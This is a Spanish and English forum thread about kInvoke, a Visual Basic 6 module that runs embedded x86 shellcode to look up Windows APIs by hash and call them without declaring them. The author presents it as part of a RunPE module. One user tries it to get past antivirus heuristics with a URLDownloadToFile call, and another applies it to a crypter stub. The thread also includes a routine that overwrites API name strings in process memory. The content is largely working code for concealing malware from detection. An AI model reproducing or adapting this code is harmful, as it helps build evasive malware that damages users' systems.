[ASM+VB6][INVOKE] Llamas APIs sin declararlas - kInvoke.bas

Iniciado por Karcrack, 9 Abril 2010, 16:17 PM

0 Miembros y 1 Visitante están viendo este tema.

Karcrack

#10
Okey, I got you ;)

You must check API declaration like this one:
Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
Then you look each parameter, if the parametar hasn't ByVal or has ByRef VB6 will pass the pointer to the APIs, to sum up, if there isn't ByVal or there's ByRef you must use VarPtr(). You must be carefull with Strings and use StrPtr(), sometimes you'll need to convert UNICODE to ANSI...

I've fixed the code, it must work now:
Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean
   Dim lAddr           As Long
   Dim sBuff           As String * &H200
   Dim lLib            As Long
   Dim lFunc           As Long

   If App.LogMode = 0 Then GoTo OUT
   
   lAddr = App.hInstance& - Len(sBuff)
   
   Do
       lAddr = lAddr + Len(sBuff)
       If Invoke("KERNEL32", &H6E824142, ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT
       Call Invoke("MSVBVM60", &H6A5B5999, Len(sBuff), ByVal StrPtr(sBuff), ByVal lAddr&)
       lLib = InStr(1, sBuff, sLib, vbBinaryCompare)
       lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare)
   Loop Until (lLib <> 0) And (lFunc <> 0)
   
   lLib = lAddr + lLib - 1
   lFunc = lAddr + lFunc - 1
   
   dim bvTmp()  as byte
   bvTmp = StrConv(E(sLib),vbFromUnicode)

   If Invoke("KERNEL32", &HD83D6AA1, -1, ByVal lLib&, ByVal varptr(bvTmp(0)), Len(sLib), ByVal 0&) = 0 Then GoTo OUT
   bvTmp = StrConv(E(sFunc),vbFromUnicode)
   If Invoke("KERNEL32", &HD83D6AA1, -1, ByVal lFunc&, ByVal varptr(bvTmp(0)), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT
   
   DeObfuscateAPI = True: Exit Function
OUT:
   DeObfuscateAPI = False: Exit Function
End Function





I've noticed that VB has a weird error with VarPtr() and Calling Funcs/APIs... looks like depending place you call it returns differents things :-\ I'm quite confused :-\ Anyway i think i've found the way of bypassing that... i will post it later
EDIT: After few hours debugging i've noticed that the problem can be solved replacing Strings in Types by Byte Arrays :)

tr1n1t1

Indeed I get a type mismatch error on the ByVal in this line

If Invoke("KERNEL32", &H6E824142, ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT

Hope you can help me to fix it  :)

Karcrack

Try this way dude:
Código (vb) [Seleccionar]
]If Invoke("KERNEL32", &H6E824142, lAddr, Len(sBuff)) <> 0 Then GoTo OUT

Make sure lAddr is long ;)

tr1n1t1

#13
Cita de: Karcrack en 12 Abril 2010, 15:46 PM
Try this way dude:
Código (vb) [Seleccionar]
]If Invoke("KERNEL32", &H6E824142, lAddr, Len(sBuff)) <> 0 Then GoTo OUT

Make sure lAddr is long ;)

If I change just this line it works  ;D , too bad that I get Type mismatch on every ByVal, so I removed them all but it won't work anymore, I think the problem is on lLib&,lAddr&,lFunc& because I tried changing one line at time and it won't work for CopyBytes and Writeprocessmemory, but not sure. Anyway this line is totally right and working.

If Invoke("KERNEL32", &H6E824142, lAddr, Len(sBuff)) <> 0 Then GoTo OUT

Karcrack

He hecho una pequeña actualizacion para un nuevo modulo RunPe en el que estoy trabajando, asi que aqui esta:
Código (vb) [Seleccionar]
'Karcrack , 22/07/10
Option Explicit
Private Type DWORD_L
    D1      As Long
End Type

Private Type DWORD_B
    B1      As Byte:    B2      As Byte:   B3      As Byte:    B4      As Byte
End Type

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long

Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(0 To 170)   As Byte
Private ASM_cCODE(0 To 255)     As Byte

Private Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long
   
    If Not bInitialized_Inv Then
        For Each vItem In Array(&HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                                &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3)
            ASM_gAPIPTR(i) = CByte(vItem)
            i = i + 1
        Next vItem
        i = 0
        bInitialized_Inv = True
    End If
   
    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
   
    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            vItem = vParams(w)
            bsTmp = SliceLong(CLng(vItem))
            '// PUSH ADDR
            ASM_cCODE(i) = &H68:            i = i + 1
            ASM_cCODE(i) = bsTmp.B1:        i = i + 1
            ASM_cCODE(i) = bsTmp.B2:        i = i + 1
            ASM_cCODE(i) = bsTmp.B3:        i = i + 1
            ASM_cCODE(i) = bsTmp.B4:        i = i + 1
        Next w
       
        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        ASM_cCODE(i) = &HB8:                i = i + 1
        ASM_cCODE(i) = bsTmp.B1:            i = i + 1
        ASM_cCODE(i) = bsTmp.B2:            i = i + 1
        ASM_cCODE(i) = bsTmp.B3:            i = i + 1
        ASM_cCODE(i) = bsTmp.B4:            i = i + 1
        '// CALL EAX
        ASM_cCODE(i) = &HFF:                i = i + 1
        ASM_cCODE(i) = &HD0:                i = i + 1
        '// RET
        ASM_cCODE(i) = &HC3:                i = i + 1
       
        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    Else
        Invoke = -1
        'Err.Raise -1, , "Bad Hash or wrong DLL"
    End If
End Function

Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L
   
    tL.D1 = lLong
    LSet SliceLong = tL
End Function


Saludos ;)

nemit

Hi Karcrack.

Thx for kInvoke.

Everything runs fine in the code except the commentet Invoke Calls.
Maybe you know what im doing wrong?


Código (vb) [Seleccionar]
Option Explicit

Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long, ByVal dwBufLen As Long) As Long
Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long) As Long
Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long

Private Const PROV_RSA_AES      As Long = 24
Private Const CRYPT_NEWKEYSET   As Long = 8
Private Const CALG_AES_256      As Long = 26128
Private Const CALG_SHA_512      As Long = 32782
Private Const CRYPT_CREATE_SALT As Long = &H4

Private Type OSVERSIONINFO
        dwOSVersionInfoSize     As Long
        dwMajorVersion          As Long
        dwMinorVersion          As Long
        dwBuildNumber           As Long
        dwPlatformId            As Long
        szCSDVersion            As String * 128
End Type

Private Const sAdvapi As String = "advapi32.dll"
Private Const sKernel As String = "kernel32.dll"


Public Function EnDecodeAES(ByVal sData As String, ByVal sPassword As String, ByVal bEncrypt As Boolean) As String
   
Dim hHash As Long
Dim hKey As Long
Dim hCryptProv As Long
Dim lData As Long
Dim sGetServiceProvider As String
Dim OS As OSVERSIONINFO

    OS.dwOSVersionInfoSize = Len(OS)
    Call Invoke(sKernel, &HC75FC483, VarPtr(OS))
   
    If OS.dwMajorVersion & OS.dwMinorVersion >= 60 Then
        sGetServiceProvider = "Microsoft Enhanced RSA and AES Cryptographic Provider"
    Else
        sGetServiceProvider = "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)"
    End If
   
    Call Invoke(sAdvapi, &H43C28BF0, VarPtr(hCryptProv), 0, StrPtr(sGetServiceProvider), PROV_RSA_AES, CRYPT_NEWKEYSET)
    Call Invoke(sAdvapi, &H43C28BF0, VarPtr(hCryptProv), 0, StrPtr(sGetServiceProvider), PROV_RSA_AES, 0&)
    Call Invoke(sAdvapi, &H4105A130, hCryptProv, CALG_SHA_512, 0, 0, VarPtr(hHash))
   
    'Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
    'Call Invoke(sAdvapi, &HC2122629, hHash, sPassword, Len(sPassword), 0)
    ' without Invoke
    Call CryptHashData(hHash, sPassword, Len(sPassword), 0)
   
    Call Invoke(sAdvapi, &HC2122629, hHash, StrPtr(sPassword), Len(sPassword), 0)
    Call Invoke(sAdvapi, &HB56D274A, hCryptProv, CALG_AES_256, hHash, CRYPT_CREATE_SALT, VarPtr(hKey))
   
    lData = Len(sData)
    If bEncrypt Then
        sData = sData & Space(16)
       
        'Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long, ByVal dwBufLen As Long) As Long
        'Call Invoke(sAdvapi, &HD9242588, hKey, 0, 1, 0, sData, VarPtr(lData), Len(sData))
        ' without Invoke
        Call CryptEncrypt(hKey, 0, 1, 0, sData, lData, Len(sData))
       
    Else
       
        'Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, pdwDataLen As Long) As Long
        'Call Invoke(sAdvapi, &H59202584, hKey, 0, 1, 0, sData, VarPtr(lData))
        ' without Invoke
        Call CryptDecrypt(hKey, 0, 1, 0, sData, lData)
       
    End If
   
    EnDecodeAES = Left(sData, lData)
    Call Invoke(sAdvapi, &H25D4AE7A, hHash)
    Call Invoke(sAdvapi, &H95E24580, hKey)
    Call Invoke(sAdvapi, &H5AE8E894, hCryptProv, 0)
End Function



Karcrack

I'd like to see the working code without Invoke, so I'll be able to see if you pass some pointers wrong..

Elemental Code

Porque visual basic me odia? Eh?

Quise ver si hacia magia con la deteccion por euristica de los AV y... NO ME ANDA  :-( :-(

Código (vb) [Seleccionar]
Call Invoke("urlmon", &H702F1A36, 0, StrPtr("http://d.imagehost.org/0187/Tron-Evolution-cover_1.jpg"), StrPtr("C:\Tron.jpg"), 0, 0)


Este es un codigo "bobo" con la UrLmon de URLTODOWNLOADFILE que baja una imagen al disco para probar.

Pero no baja la imagen ni me muestra ningun error ni nada.

En que le erre :S?

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

Karcrack

Comprueba que estes llamando a la version unicode del API... URLDownloadToFileW@URLMON...

La explicacion de porque hay que llamar a las versiones unicode de las APIs es porque al usar StrPtr() sacas el puntero a la cadena en formato unicode... si quisieses por alguna razon usar la version ascii deberias hacer la conversion manualmente por ejemplo con
Código (vb) [Seleccionar]
bvByteArray = StrConv(sCADENA, vbFromUnicode)

Un saludo ;)

Swellow

Cita de: Karcrack en 22 Julio 2010, 18:53 PM
He hecho una pequeña actualizacion para un nuevo modulo RunPe en el que estoy trabajando, asi que aqui esta:
Código (vb) [Seleccionar]
'Karcrack , 22/07/10
Option Explicit
Private Type DWORD_L
    D1      As Long
End Type

Private Type DWORD_B
    B1      As Byte:    B2      As Byte:   B3      As Byte:    B4      As Byte
End Type

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long

Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(0 To 170)   As Byte
Private ASM_cCODE(0 To 255)     As Byte

Private Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long
   
    If Not bInitialized_Inv Then
        For Each vItem In Array(&HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                                &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3)
            ASM_gAPIPTR(i) = CByte(vItem)
            i = i + 1
        Next vItem
        i = 0
        bInitialized_Inv = True
    End If
   
    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
   
    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            vItem = vParams(w)
            bsTmp = SliceLong(CLng(vItem))
            '// PUSH ADDR
            ASM_cCODE(i) = &H68:            i = i + 1
            ASM_cCODE(i) = bsTmp.B1:        i = i + 1
            ASM_cCODE(i) = bsTmp.B2:        i = i + 1
            ASM_cCODE(i) = bsTmp.B3:        i = i + 1
            ASM_cCODE(i) = bsTmp.B4:        i = i + 1
        Next w
       
        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        ASM_cCODE(i) = &HB8:                i = i + 1
        ASM_cCODE(i) = bsTmp.B1:            i = i + 1
        ASM_cCODE(i) = bsTmp.B2:            i = i + 1
        ASM_cCODE(i) = bsTmp.B3:            i = i + 1
        ASM_cCODE(i) = bsTmp.B4:            i = i + 1
        '// CALL EAX
        ASM_cCODE(i) = &HFF:                i = i + 1
        ASM_cCODE(i) = &HD0:                i = i + 1
        '// RET
        ASM_cCODE(i) = &HC3:                i = i + 1
       
        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    Else
        Invoke = -1
        'Err.Raise -1, , "Bad Hash or wrong DLL"
    End If
End Function

Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L
   
    tL.D1 = lLong
    LSet SliceLong = tL
End Function


Saludos ;)

Thanks a lot for that code Karcrack, I tried to replace my call api by name by this one, I converted all api names to hash but then my stub gets broken. Is there anything else that has to be done?